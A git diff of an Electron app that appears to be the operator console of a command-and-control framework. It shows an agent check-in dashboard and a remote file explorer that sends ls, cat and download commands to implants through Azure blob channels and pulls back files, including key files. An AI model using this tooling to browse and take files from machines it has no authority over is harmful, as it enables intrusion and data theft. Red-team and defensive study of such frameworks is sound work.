||||
//logMain(`table : ${table.innerText}`);
|
||||
//logMain(`agentcheckins : ${agentcheckins}`);
|
||||
|
||||
if (agentcheckins == 0) {
|
||||
//log(`updateTable() : agentcheckins == 0; agentcheckins : ${agentcheckins}`);
|
||||
// Clear all rows from the table
|
||||
// while (table.rows.length > 1) { // Keeps the header row if it exists
|
||||
// table.deleteRow(1);
|
||||
// }
|
||||
|
||||
//logMain("Table cleared since there are no agents present.");
|
||||
} else {
|
||||
//log(`updateTable() : agentcheckins != 0; agentcheckins : ${agentcheckins}`);
|
||||
const agents = JSON.parse(agentcheckins);
|
||||
|
||||
// Clear the existing rows before updating
|
||||
// while (table.rows.length > 1) {
|
||||
// table.deleteRow(1);
|
||||
// }
|
||||
let agent_index = 0;
|
||||
agents.forEach(agent => {
|
||||
//logMain(`agent ${agent_index}: ${JSON.stringify(agent)}`);
|
||||
agent_index++;
|
||||
if (agent != 0)
|
||||
{
|
||||
let thisrow = updateOrAddRow(agent);
|
||||
let isnewrow = false;
|
||||
|
||||
if (thisrow.cells[2].textContent == '-' || !thisrow.cells[0].textContent) {
|
||||
//logMain("this is a new row.");
|
||||
isnewrow = true;
|
||||
}
|
||||
|
||||
// Get the process base name from absolute path
|
||||
const filePath = agent.Process.trim(); // Ensure the string is clean
|
||||
//logMain(`Original Path: ${filePath}`);
|
||||
let fileName;
|
||||
// Detect which type of path is present and use the appropriate method
|
||||
if (filePath.includes("\\") && !filePath.includes("/")) {
|
||||
// Windows-style path (only backslashes)
|
||||
fileName = path.win32.basename(filePath);
|
||||
} else if (filePath.includes("/") && !filePath.includes("\\")) {
|
||||
// macOS/Linux-style path (only forward slashes)
|
||||
fileName = path.posix.basename(filePath);
|
||||
} else {
|
||||
// Mixed slashes case (or unknown)
|
||||
fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename
|
||||
}
|
||||
//logMain(`Extracted File Name: ${fileName}`);
|
||||
let platformName = agent.platform; // Default to the original value
|
||||
|
||||
if (agent.platform === "darwin") {
|
||||
platformName = "macOS";
|
||||
} else if (agent.platform === "win32") {
|
||||
platformName = "Windows";
|
||||
} else if (agent.platform === "linux") {
|
||||
platformName = "Linux";
|
||||
}
|
||||
thisrow.cells[0].textContent = agent.agentid;
|
||||
thisrow.cells[1].textContent = agent.containerid;
|
||||
thisrow.cells[2].textContent = agent.hostname;
|
||||
thisrow.cells[3].textContent = agent.username;
|
||||
thisrow.cells[4].textContent = fileName;
|
||||
thisrow.cells[5].textContent = agent.PID;
|
||||
thisrow.cells[6].textContent = agent.IP;
|
||||
thisrow.cells[7].textContent = agent.arch;
|
||||
thisrow.cells[8].textContent = platformName; // Set formatted platform name
|
||||
thisrow.cells[9].textContent = timeDifference(agent.checkIn);
|
||||
|
||||
// if (isnewrow) {
|
||||
// thisrow.addEventListener('click', () => {
|
||||
// ipcRenderer.send('open-container-window', JSON.stringify(agent));
|
||||
// }, { once: true });
|
||||
thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners
|
||||
//thisrow = document.querySelector("#yourRowId"); // Re-select the element
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
|
||||
|
||||
for (let row of table.rows) {
|
||||
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
|
||||
if (row.cells[0].textContent == agent.agentid) {
|
||||
thisrow = row;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
thisrow.addEventListener('click', () => {
|
||||
console.log("Row clicked!"); // Debugging: Check if it logs multiple times
|
||||
ipcRenderer.send('open-container-window', JSON.stringify(agent));
|
||||
}, { once: true }); // Ensures it only triggers once per element
|
||||
|
||||
|
||||
// }
|
||||
}
|
||||
});
|
||||
updateTableSort();
|
||||
tableinit = true;
|
||||
}
|
||||
}catch (error) {
|
||||
logMain(`Error in index.js updateTable() updating table: ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function updateOrAddRow(agent) {
|
||||
try
|
||||
{
|
||||
let rowExists = false;
|
||||
let thisRow;
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
//logMain(`Attempting to find match in table for agent ${agent.agentid}`);
|
||||
|
||||
for (let row of table.rows) {
|
||||
//logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`);
|
||||
if (row.cells[0].textContent == agent.agentid) {
|
||||
thisRow = row;
|
||||
rowExists = true;
|
||||
//logMain(`Matched row for agent ${agent.agentid}`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!rowExists)
|
||||
{
|
||||
//logMain(`Failed to match row for agent ${agent.agentid}`);
|
||||
thisRow = table.insertRow();
|
||||
thisRow.insertCell(0);
|
||||
thisRow.insertCell(1);
|
||||
thisRow.insertCell(2);
|
||||
thisRow.insertCell(3);
|
||||
thisRow.insertCell(4);
|
||||
thisRow.insertCell(5);
|
||||
thisRow.insertCell(6);
|
||||
thisRow.insertCell(7);
|
||||
thisRow.insertCell(8);
|
||||
thisRow.insertCell(9);
|
||||
}
|
||||
return thisRow;
|
||||
}catch(error)
|
||||
{
|
||||
logMain(`Error in updateOrAddRow() : ${error} ${error.stack}`);
|
||||
}
|
||||
}
|
||||
|
||||
function updateTableSort() {
|
||||
const tbody = document.querySelector('#containerTable tbody');
|
||||
const rows = Array.from(tbody.rows);
|
||||
|
||||
if (sortState.order === 'none') {
|
||||
rows.sort((a, b) => a.rowIndex - b.rowIndex);
|
||||
} else {
|
||||
rows.sort((a, b) => {
|
||||
const aText = a.querySelector(`td:nth-child(${getColumnIndex(sortState.column)})`).textContent.trim();
|
||||
const bText = b.querySelector(`td:nth-child(${getColumnIndex(sortState.column)})`).textContent.trim();
|
||||
return sortState.order === 'asc' ? aText.localeCompare(bText) : bText.localeCompare(aText);
|
||||
});
|
||||
}
|
||||
|
||||
rows.forEach(row => tbody.appendChild(row));
|
||||
updateArrows();
|
||||
}
|
||||
|
||||
function getColumnIndex(column) {
|
||||
return Array.from(document.querySelectorAll('th')).findIndex(th => th.getAttribute('data-column') === column) + 1;
|
||||
}
|
||||
|
||||
function updateArrows() {
|
||||
document.querySelectorAll('.arrow').forEach(arrow => {
|
||||
arrow.textContent = '';
|
||||
});
|
||||
if (sortState.order !== 'none') {
|
||||
const arrow = document.querySelector(`#${sortState.column}Arrow`);
|
||||
arrow.textContent = sortState.order === 'asc' ? '▲' : '▼';
|
||||
}
|
||||
}
|
||||
|
||||
// Initial table update
|
||||
await initTable();
|
||||
await updateTable();
|
||||
|
||||
// Update the table every second
|
||||
setInterval(updateTable, 3000);
|
||||
});
|
||||
|
||||
ipcRenderer.on('remove-table-row', (event, agentId) => {
|
||||
logMain(`Removing row for agent ID: ${agentId}`);
|
||||
let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0];
|
||||
for (let row of table.rows) {
|
||||
if (row.cells[0].textContent.trim() === agentId.trim()) {
|
||||
row.remove(); // Remove the row from the table
|
||||
logMain(`Row for agent ${agentId} removed.`);
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,81 @@
|
||||
body {
|
||||
background-color: #0f0f0f;
|
||||
color: #ffffff;
|
||||
font-family: Arial, sans-serif;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
color: #006d00;
|
||||
}
|
||||
|
||||
.nav-container {
|
||||
display: flex;
|
||||
width: 100%;
|
||||
gap: 5px;
|
||||
}
|
||||
|
||||
input {
|
||||
flex-grow: 1;
|
||||
padding: 10px;
|
||||
background-color: #222;
|
||||
color: #fbfbfb;
|
||||
border: 1px solid #ffffff;
|
||||
}
|
||||
|
||||
button {
|
||||
padding: 10px;
|
||||
background-color: #111;
|
||||
color: #006d00;
|
||||
border: 1px solid #006d00;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #006d00;
|
||||
color: black;
|
||||
}
|
||||
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
margin-top: 10px;
|
||||
background: #111;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
th, td {
|
||||
border: 1px solid #ffffff;
|
||||
padding: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
th {
|
||||
background-color: #006d00;
|
||||
color: black;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
tr:hover {
|
||||
background-color: #222;
|
||||
}
|
||||
|
||||
.folder {
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
color: #ffffff;
|
||||
}
|
||||
|
||||
.file {
|
||||
color: #85d6fb;
|
||||
text-decoration: underline;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.back-button {
|
||||
background-color: black;
|
||||
border: 1px solid #006d00;
|
||||
padding: 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>File Explorer</title>
|
||||
<link rel="stylesheet" href="explorer.css">
|
||||
</head>
|
||||
<body>
|
||||
<!-- <h2>Loki Green File Explorer</h2> -->
|
||||
<div class="nav-container">
|
||||
<button class="back-button" onclick="goBack()">⬅ Parent Dir</button>
|
||||
<input type="text" id="dirPath" />
|
||||
<button onclick="listFiles()">Browse</button>
|
||||
</div>
|
||||
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th onclick="sortTable(0)">Name 🔽</th>
|
||||
<th onclick="sortTable(1)">Size (bytes) 🔽</th>
|
||||
<th onclick="sortTable(2)">Type 🔽</th>
|
||||
<th onclick="sortTable(3)">Last Modified 🔽</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="fileList"></tbody>
|
||||
</table>
|
||||
|
||||
<script src="explorer.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,476 @@
|
||||
const { ipcRenderer } = require("electron");
|
||||
const crypto = require('crypto');
|
||||
const az = require('./azure');
|
||||
const { log } = require('console');
|
||||
let sortAscending = true;
|
||||
let containerName = '';
|
||||
let containerKey;
|
||||
let containerBlob;
|
||||
let agentObj;
|
||||
let agent;
|
||||
let init_cwd = 0;
|
||||
let pwd = '';
|
||||
let mode = '';
|
||||
let currentFile = '';
|
||||
|
||||
|
||||
function splitStringWithQuotes(str) {
|
||||
const result = [];
|
||||
let current = '';
|
||||
let insideQuotes = false;
|
||||
let quoteChar = '';
|
||||
for (let i = 0; i < str.length; i++) {
|
||||
const char = str[i];
|
||||
if (insideQuotes) {
|
||||
if (char === '\\' && (str[i + 1] === quoteChar || str[i + 1] === '\\')) {
|
||||
// Handle escaped quote or backslash
|
||||
current += str[i + 1];
|
||||
i++; // Skip the next character
|
||||
} else if (char === quoteChar) {
|
||||
// End of quoted string
|
||||
insideQuotes = false;
|
||||
result.push(current);
|
||||
current = '';
|
||||
} else {
|
||||
// Inside quoted string
|
||||
current += char;
|
||||
}
|
||||
} else {
|
||||
if (char === '"' || char === "'") {
|
||||
// Start of quoted string
|
||||
insideQuotes = true;
|
||||
quoteChar = char;
|
||||
} else if (char === '\\' && str[i + 1] === ' ') {
|
||||
// Handle escaped space
|
||||
current += ' ';
|
||||
i++; // Skip the next character
|
||||
} else if (char === ' ') {
|
||||
// Space outside of quotes
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Unquoted string
|
||||
current += char;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Add the last argument if there's any
|
||||
if (current.length > 0) {
|
||||
result.push(current);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
function generateUUID(len) {
|
||||
// Generate a random UUID
|
||||
if (len > 20){len = 20};
|
||||
const uuid = crypto.randomUUID();
|
||||
// Remove hyphens and take the first 10 characters
|
||||
const shortUUID = uuid.replace(/-/g, '').substring(0, len);
|
||||
return shortUUID;
|
||||
}
|
||||
function doDownloadFile(argv)
|
||||
{
|
||||
const downloadFile = "'" + argv[1] +"'";
|
||||
const downloadBlob = generateUUID(10);
|
||||
const download = {
|
||||
'file':downloadFile,
|
||||
'blob':downloadBlob
|
||||
}
|
||||
return download;
|
||||
}
|
||||
|
||||
function sendCommand(command) {
|
||||
let argv = splitStringWithQuotes(command);
|
||||
log(`argv : ${argv}`);
|
||||
log(`explorer.js : sendCommand : ${command}`);
|
||||
log(`containerBlob : ${containerBlob}`);
|
||||
log(`containerKey : ${containerKey}`);
|
||||
log(`containerName : ${containerName}`);
|
||||
|
||||
let containerCmd = JSON.parse(`{"blobs":${containerBlob}}`);
|
||||
containerCmd.key = JSON.parse(containerKey);
|
||||
containerCmd.name = containerName;
|
||||
containerCmd.cmd = command;
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
|
||||
let download;
|
||||
let download_command;
|
||||
|
||||
log(`argv[0] : ${argv[0]}`);
|
||||
if (argv[0] == "download")
|
||||
{
|
||||
log(`hit download`);
|
||||
let currentPath = document.getElementById("dirPath").value.trim();
|
||||
const concatenated = argv.slice(1).join(" ");
|
||||
argv[1] = currentPath.endsWith("/") ? currentPath + concatenated : currentPath + "/" + concatenated;
|
||||
log(`argv : ${argv}`);
|
||||
download = doDownloadFile(argv);
|
||||
log(`[+] SendCommand.explorer.js : JSON.stringify(download) \r\n: ${JSON.stringify(download)}`);
|
||||
download_command = `download ${download['file']} ${download['blob']}`;
|
||||
log(`[+] SendCommand.explorer.js : command : ${download_command}`);
|
||||
containerCmd.cmd = download_command;
|
||||
log("pulling download file");
|
||||
log(`download['file'] : ${download['file']}`);
|
||||
log(`download['blob'] : ${download['blob']}`);
|
||||
log(`containerCmd : \r\n${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('pull-download-file', JSON.stringify(containerCmd),download['file'],download['blob']); // Send command and container name
|
||||
log(`[+] SendCommand.explorer.js : JSON.stringify(containerCmd) \r\n: ${JSON.stringify(containerCmd)}`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
|
||||
//
|
||||
}
|
||||
else{
|
||||
log(`hit all else handler`);
|
||||
ipcRenderer.send('upload-client-command-to-input-channel', JSON.stringify(containerCmd)); // Send command and container name
|
||||
}
|
||||
}
|
||||
|
||||
async function initialize() {
|
||||
log(`Initialize explorer.js`);
|
||||
|
||||
mode = "pwd";
|
||||
sendCommand("pwd");
|
||||
// listFiles();
|
||||
}
|
||||
|
||||
async function listFiles() {
|
||||
mode = "list";
|
||||
sendCommand(`ls ${"'"+document.getElementById("dirPath").value.trim()+"'"}`);
|
||||
}
|
||||
|
||||
async function listFiles_display(lsCommandOutput)
|
||||
{
|
||||
// Split output into lines and remove headers
|
||||
let lines = lsCommandOutput.split("\n").slice(2); // Skip headers and separator line
|
||||
|
||||
let files = lines.map(line => {
|
||||
let parts = line.match(/(.{1,60})\s+(File|Directory)\s+(\d+|-)\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})\s+(\d{2}\/\d{2}\/\d{2} \d{2}:\d{2}:\d{2})/);
|
||||
|
||||
if (!parts) return null; // Skip invalid lines
|
||||
|
||||
return {
|
||||
name: parts[1].trim(),
|
||||
type: parts[2] === "Directory" ? "Folder" : "File", // Convert "Directory" to "Folder"
|
||||
size: parts[3] === '-' ? '-' : parseInt(parts[3]),
|
||||
created: parts[4],
|
||||
modified: parts[5]
|
||||
};
|
||||
}).filter(item => item !== null); // Remove null entries
|
||||
|
||||
// Insert into table
|
||||
const fileList = document.getElementById("fileList");
|
||||
fileList.innerHTML = "";
|
||||
|
||||
files.forEach(file => {
|
||||
const row = document.createElement("tr");
|
||||
row.innerHTML = `
|
||||
<td class="${file.type === 'Folder' ? 'folder' : 'file'}"
|
||||
onclick="${file.type === 'Folder' ? `navigateTo('${file.name}')` : `openFile('${file.name}')`}">
|
||||
${file.name}
|
||||
</td>
|
||||
<td>${file.size}</td>
|
||||
<td>${file.type}</td>
|
||||
<td>${file.modified}</td>
|
||||
`;
|
||||
fileList.appendChild(row);
|
||||
});
|
||||
}
|
||||
|
||||
async function navigateTo(folderName) {
|
||||
let currentPath = document.getElementById("dirPath").value.trim();
|
||||
|
||||
// Ensure the new path is correctly formatted
|
||||
let newPath = currentPath.endsWith("/") ? currentPath + folderName : currentPath + "/" + folderName;
|
||||
|
||||
document.getElementById("dirPath").value = newPath;
|
||||
listFiles();
|
||||
}
|
||||
|
||||
async function goBack() {
|
||||
let currentPath = document.getElementById("dirPath").value.trim();
|
||||
|
||||
if (currentPath === "/") return; // Prevent navigating beyond root "/"
|
||||
|
||||
// Remove trailing slash if it exists to avoid double counting
|
||||
if (currentPath.endsWith("/")) {
|
||||
currentPath = currentPath.slice(0, -1);
|
||||
}
|
||||
|
||||
// Find the new last occurrence of "/"
|
||||
let lastSlashIndex = currentPath.lastIndexOf("/");
|
||||
|
||||
// If there's a parent directory, update the path
|
||||
if (lastSlashIndex > 0) {
|
||||
let parentPath = currentPath.substring(0, lastSlashIndex + 1); // Keep trailing slash
|
||||
document.getElementById("dirPath").value = parentPath;
|
||||
listFiles();
|
||||
} else {
|
||||
document.getElementById("dirPath").value = "/"; // If no more parent, stay at root
|
||||
listFiles();
|
||||
}
|
||||
}
|
||||
|
||||
async function openFile(filePath) {
|
||||
const textExtensions = [".txt", ".json", ".pem", ".log", ".xml", ".md", ".csv", ".ini", ".conf", ".yaml", ".yml",
|
||||
".js",".bak",".html",".css",".cnf"
|
||||
];
|
||||
|
||||
// Extract file extension
|
||||
log(`openFile : ${filePath}`);
|
||||
let fileExt = filePath.substring(filePath.lastIndexOf(".")).toLowerCase();
|
||||
|
||||
if (textExtensions.includes(fileExt)) {
|
||||
mode = 'cat';
|
||||
log(`Reading file: ${filePath}`);
|
||||
let currentPath = document.getElementById("dirPath").value.trim();
|
||||
let catFilePath = currentPath.endsWith("/") ? currentPath + filePath : currentPath + "/" + filePath;
|
||||
catFilePath = "'" + catFilePath + "'";
|
||||
currentFile = catFilePath;
|
||||
sendCommand(`cat ${catFilePath}`);
|
||||
} else {
|
||||
log(`Downloading file: ${filePath}`);
|
||||
sendCommand(`download ${filePath}`);
|
||||
}
|
||||
}
|
||||
|
||||
function sortTable(columnIndex) {
|
||||
const table = document.querySelector("tbody");
|
||||
const rows = Array.from(table.querySelectorAll("tr"));
|
||||
|
||||
rows.sort((a, b) => {
|
||||
let valA = a.children[columnIndex].innerText;
|
||||
let valB = b.children[columnIndex].innerText;
|
||||
|
||||
if (!isNaN(valA) && !isNaN(valB)) {
|
||||
valA = parseFloat(valA);
|
||||
valB = parseFloat(valB);
|
||||
}
|
||||
|
||||
return sortAscending ? (valA > valB ? 1 : -1) : (valA < valB ? 1 : -1);
|
||||
});
|
||||
|
||||
sortAscending = !sortAscending;
|
||||
table.innerHTML = "";
|
||||
rows.forEach(row => table.appendChild(row));
|
||||
}
|
||||
|
||||
document.getElementById("dirPath").addEventListener("keypress", function(event) {
|
||||
if (event.key === "Enter") {
|
||||
listFiles();
|
||||
}
|
||||
});
|
||||
|
||||
// document.addEventListener("keydown", function(event) {
|
||||
// if (event.key === "Backspace") goBack();
|
||||
// });
|
||||
|
||||
|
||||
ipcRenderer.on('command-output', (event, output) => {
|
||||
try {
|
||||
if (output) {
|
||||
if(output === "pushedfile" || !output.substring(0, 3).includes('/')){
|
||||
const dirPath = document.getElementById('dirPath');
|
||||
if (!dirPath.value)
|
||||
{
|
||||
initialize();
|
||||
return;
|
||||
}else{
|
||||
// listFiles();
|
||||
}
|
||||
|
||||
}
|
||||
if (mode === "pwd") {
|
||||
mode = "";
|
||||
if (!output.endsWith("/")) {
|
||||
output += "/";
|
||||
}
|
||||
//document.getElementById("dirPath").value = output;
|
||||
document.getElementById("dirPath").value = "C:/";
|
||||
pwd = output;
|
||||
listFiles();
|
||||
}
|
||||
else if (mode === "list") {
|
||||
mode = "";
|
||||
listFiles_display(output);
|
||||
}
|
||||
else if (mode === "cat") {
|
||||
mode = "";
|
||||
openTextFileInNewWindow(output);
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
log(`Error in explorer.js:command-output: ${error.message}\r\n${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
function openTextFileInNewWindow(content) {
|
||||
// Count number of lines in the content
|
||||
const lineCount = content.split("\n").length;
|
||||
const lineHeight = 18; // Approximate height per line in pixels (adjust if needed)
|
||||
const minHeight = 200; // Minimum window height
|
||||
const maxHeight = window.screen.height - 100; // Prevent window from being too large
|
||||
let calculatedHeight = Math.min(Math.max(lineCount * lineHeight + 200, minHeight), maxHeight);
|
||||
|
||||
// Open new window with adjusted height
|
||||
const textWindow = window.open("", "TextViewer", `width=1000,height=${calculatedHeight}`);
|
||||
|
||||
if (currentFile.startsWith("'") && currentFile.endsWith("'")) {
|
||||
currentFile = currentFile.slice(1, -1);
|
||||
}
|
||||
|
||||
textWindow.document.write(`
|
||||
<html>
|
||||
<head>
|
||||
<title>${currentFile}</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: monospace;
|
||||
white-space: pre-wrap;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #111;
|
||||
color: #f8f9f8;
|
||||
overflow: hidden;
|
||||
}
|
||||
.container {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
height: 100vh;
|
||||
}
|
||||
.header {
|
||||
padding: 2px;
|
||||
background: #222;
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
border-bottom: 1px solid #333;
|
||||
}
|
||||
.content {
|
||||
flex: 1;
|
||||
padding: 2px;
|
||||
overflow: auto;
|
||||
}
|
||||
textarea {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: #222;
|
||||
color: #fff;
|
||||
border: none;
|
||||
padding: 2px;
|
||||
font-size: 14px;
|
||||
resize: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<textarea readonly>${content}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`);
|
||||
}
|
||||
|
||||
window.addEventListener('DOMContentLoaded', async () =>
|
||||
{
|
||||
ipcRenderer.on('container-data', (event, name, aes, blobs, agentJson) =>
|
||||
{
|
||||
log(`explorer.js : container-data : ${name}`);
|
||||
try{
|
||||
containerName = name;
|
||||
containerKey = JSON.stringify(aes);
|
||||
containerBlob = JSON.stringify(blobs);
|
||||
agent = JSON.parse(agentJson);
|
||||
agentObj = agent;
|
||||
|
||||
document.title = `${agent.agentid.toUpperCase()} | ${agent.hostname.toUpperCase()} | ${agent.username.toUpperCase()} | ${agent.IP}`;
|
||||
|
||||
const dirPath = document.getElementById('dirPath');
|
||||
dirPath.focus();
|
||||
dirPath.selectionStart = dirPath.selectionEnd = dirPath.value.length; // Ensure cursor is at the end of input
|
||||
}catch(error)
|
||||
{
|
||||
log(error);
|
||||
}
|
||||
});
|
||||
const checkVariables = setInterval(() => {
|
||||
if (containerName && containerKey && containerBlob && agentObj && agent) {
|
||||
clearInterval(checkVariables); // Stop the loop when all variables have values
|
||||
log("All variables have been assigned!");
|
||||
initialize();
|
||||
}
|
||||
}, 100); // Check every 100ms
|
||||
}
|
||||
);
|
||||
|
||||
document.addEventListener("keydown", function(event) {
|
||||
const dirPath = document.getElementById("dirPath");
|
||||
|
||||
if (!dirPath) return; // Ensure element exists
|
||||
|
||||
const isCtrlOrMeta = event.ctrlKey || event.metaKey;
|
||||
const isAlt = event.altKey;
|
||||
|
||||
if (isCtrlOrMeta) {
|
||||
switch (event.key.toLowerCase()) {
|
||||
case "c": // Copy
|
||||
event.preventDefault();
|
||||
dirPath.select();
|
||||
document.execCommand("copy");
|
||||
log("Copied to clipboard:", dirPath.value);
|
||||
break;
|
||||
|
||||
case "a": // Select all
|
||||
event.preventDefault();
|
||||
dirPath.select();
|
||||
log("Selected all text in dirPath");
|
||||
break;
|
||||
|
||||
case "v": // Paste
|
||||
event.preventDefault();
|
||||
navigator.clipboard.readText().then((clipboardText) => {
|
||||
dirPath.value = clipboardText;
|
||||
log("Pasted:", clipboardText);
|
||||
}).catch(err => console.error("Failed to read clipboard:", err));
|
||||
break;
|
||||
|
||||
case "x": // Cut
|
||||
event.preventDefault();
|
||||
dirPath.select();
|
||||
document.execCommand("cut");
|
||||
log("Cut text from dirPath");
|
||||
break;
|
||||
|
||||
case "arrowleft": // Move cursor back one word
|
||||
event.preventDefault();
|
||||
moveCursorByWord(dirPath, "left");
|
||||
log("Moved cursor back one word");
|
||||
break;
|
||||
|
||||
case "arrowright": // Move cursor forward one word
|
||||
event.preventDefault();
|
||||
moveCursorByWord(dirPath, "right");
|
||||
log("Moved cursor forward one word");
|
||||
break;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Function to move cursor by one word
|
||||
function moveCursorByWord(input, direction) {
|
||||
let pos = input.selectionStart;
|
||||
let value = input.value;
|
||||
|
||||
if (direction === "left") {
|
||||
while (pos > 0 && value[pos - 1] === " ") pos--; // Skip spaces
|
||||
while (pos > 0 && value[pos - 1] !== " ") pos--; // Move to start of the word
|
||||
} else if (direction === "right") {
|
||||
while (pos < value.length && value[pos] === " ") pos++; // Skip spaces
|
||||
while (pos < value.length && value[pos] !== " ") pos++; // Move to end of the word
|
||||
}
|
||||
|
||||
input.selectionStart = input.selectionEnd = pos;
|
||||
}
|
||||
@@ -0,0 +1,539 @@
|
||||
const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, dialog } = require('electron');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
const az = require('./azure');
|
||||
const {Agent,Container} = require('./agent');
|
||||
const { getAppDataDir } = require('./common');
|
||||
const directories = getAppDataDir();
|
||||
let config = require(directories.configFilePath);
|
||||
const agents = [];
|
||||
let metaContainer = config.metaContainer;
|
||||
let win;
|
||||
global.agentids = [];
|
||||
global.agentwindows = 0;
|
||||
global.agentWindowHandles = {}; // Store windows by agentID
|
||||
|
||||
function createDashboardWindow() {
|
||||
win = new BrowserWindow({
|
||||
width: 1792,
|
||||
height: 1037,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Enable Node.js integration in the renderer process
|
||||
},
|
||||
});
|
||||
win.loadFile('dashboard.html');
|
||||
console.log('Main window created');
|
||||
}
|
||||
|
||||
async function createContainerWindow(thisagent) {
|
||||
let this_agent = JSON.parse(thisagent);
|
||||
let exists = false;
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
if (agents[i].agentid === this_agent.agentid)
|
||||
{
|
||||
console.log(`agent with agentid ${this_agent.agentid} already exists in agents[${i}]`);
|
||||
exists = true;
|
||||
}
|
||||
}
|
||||
if (!exists)
|
||||
{
|
||||
const containerWin = new BrowserWindow({
|
||||
width: 1592,
|
||||
height: 1037,
|
||||
webPreferences: {
|
||||
contextIsolation: false,
|
||||
enableRemoteModule: true,
|
||||
nodeIntegration: true, // Enable Node.js integration in the renderer process
|
||||
},
|
||||
});
|
||||
const container_blobs = await az.getContainerBlobs(this_agent.containerid,config);
|
||||
console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`);
|
||||
const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config);
|
||||
let containerObject = new Container(this_agent.containerid,container_key,container_blobs);
|
||||
let agent = new Agent(this_agent.agentid,containerObject);
|
||||
agent.BrowserWindow = containerWin;
|
||||
agents.push(agent);
|
||||
global.agentWindowHandles[this_agent.agentid] = containerWin;
|
||||
|
||||
agent.container.blobs['key'] = container_blobs['key'];
|
||||
agent.container.blobs['checkin'] = container_blobs['checkin'];
|
||||
agent.container.blobs['in'] = container_blobs['in'];
|
||||
agent.container.blobs['out'] = container_blobs['out'];
|
||||
for (const key in agent.container.blobs) {
|
||||
if (agent.container.blobs.hasOwnProperty(key)) {
|
||||
console.log(`${key}: ${agent.container.blobs[key]}`);
|
||||
}
|
||||
}
|
||||
agent.container.key['key'] = container_key['key'];
|
||||
agent.container.key['iv'] = container_key['iv'];
|
||||
|
||||
let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config);
|
||||
let agentObj = JSON.parse(checkinData);
|
||||
agentObj.agentid = agent.agentid;
|
||||
agentObj.containerid = agent.container.name;
|
||||
agentObj.key = agent.container.key['key'];
|
||||
agentObj.iv = agent.container.key['iv'];
|
||||
let startupdata = JSON.stringify(agentObj);
|
||||
|
||||
global.agentwindows++;
|
||||
containerWin.loadFile('agent-window.html').then(() => {
|
||||
containerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata);
|
||||
});
|
||||
console.log(`Container window created for container: ${this_agent.containerid}`);
|
||||
console.log(`Number of agent windows : ${global.agentwindows}`);
|
||||
|
||||
containerWin.on('close', async (event) => {
|
||||
event.preventDefault(); // Prevents default close
|
||||
await containerWin.webContents.send('window-closing'); // Notify renderer
|
||||
});
|
||||
|
||||
ipcMain.on('force-close', async (event,agentid) => {
|
||||
// ipcMain.on('force-close', (event) => {
|
||||
console.log(`kernel.js : IPC force-close`);
|
||||
console.log(`agentid : ${agentid}`);
|
||||
if(agents.length > 0){
|
||||
for (let i = 0; i < agents.length; i++) {
|
||||
//console.log(`agents[${i}] : ${JSON.stringify(agents[i])}`);
|
||||
if (agents[i].agentid === agentid)
|
||||
{
|
||||
agents.pop(agents[i]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (global.agentids.includes(agentid)) {
|
||||
console.log(`${agentid} removed from the array.`);
